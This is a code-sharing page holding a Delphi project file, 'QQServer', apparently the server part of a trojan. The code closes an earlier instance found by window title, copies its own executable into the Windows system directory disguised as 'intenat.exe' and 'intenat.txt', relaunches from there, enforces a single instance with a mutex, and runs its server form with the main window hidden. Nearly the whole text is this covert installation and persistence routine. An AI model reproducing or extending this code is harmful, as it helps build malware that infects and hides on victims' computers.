QQServer.dpr
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:1k
- Program QQServer;
- Uses
- Forms,
- Windows, SysUtils, Messages,
- Server In 'Server.pas' {ServerForm},
- PUB In 'PUB.pas';
- {$R *.res}
- Var
- hmutex: hwnd;
- hwnd: Thandle;
- Begin
- Application.Initialize;
- If Lowercase(ExtractFileName(Application.ExeName)) <> 'intenat.exe' Then Begin
- hwnd := FindWindow(Nil, 'wsdgs制作');
- If hwnd > 0 Then Begin
- SendMessage(hwnd, WM_CLOSE, 0, 0);
- Sleep(1000);
- End;
- CopyFile(Pchar(Application.ExeName), Pchar(GetSysDir + 'intenat.exe'), False);
- CopyFile(Pchar(Application.ExeName), Pchar(GetSysDir + 'intenat.txt'), False);
- WinexEc(Pchar(GetSysDir + 'intenat.exe'), SW_NORMAL);
- Exit;
- End
- Else Begin
- Application.Title := 'wsdgs制作';
- hmutex := createmutex(Nil, False, 'wsdgs制作');
- If getlasterror <> error_already_exists Then Begin
- Application.CreateForm(TServerForm, ServerForm);
- Application.ShowMainForm := False;
- Application.Run;
- End
- Else Releasemutex(hmutex);
- End;
- End.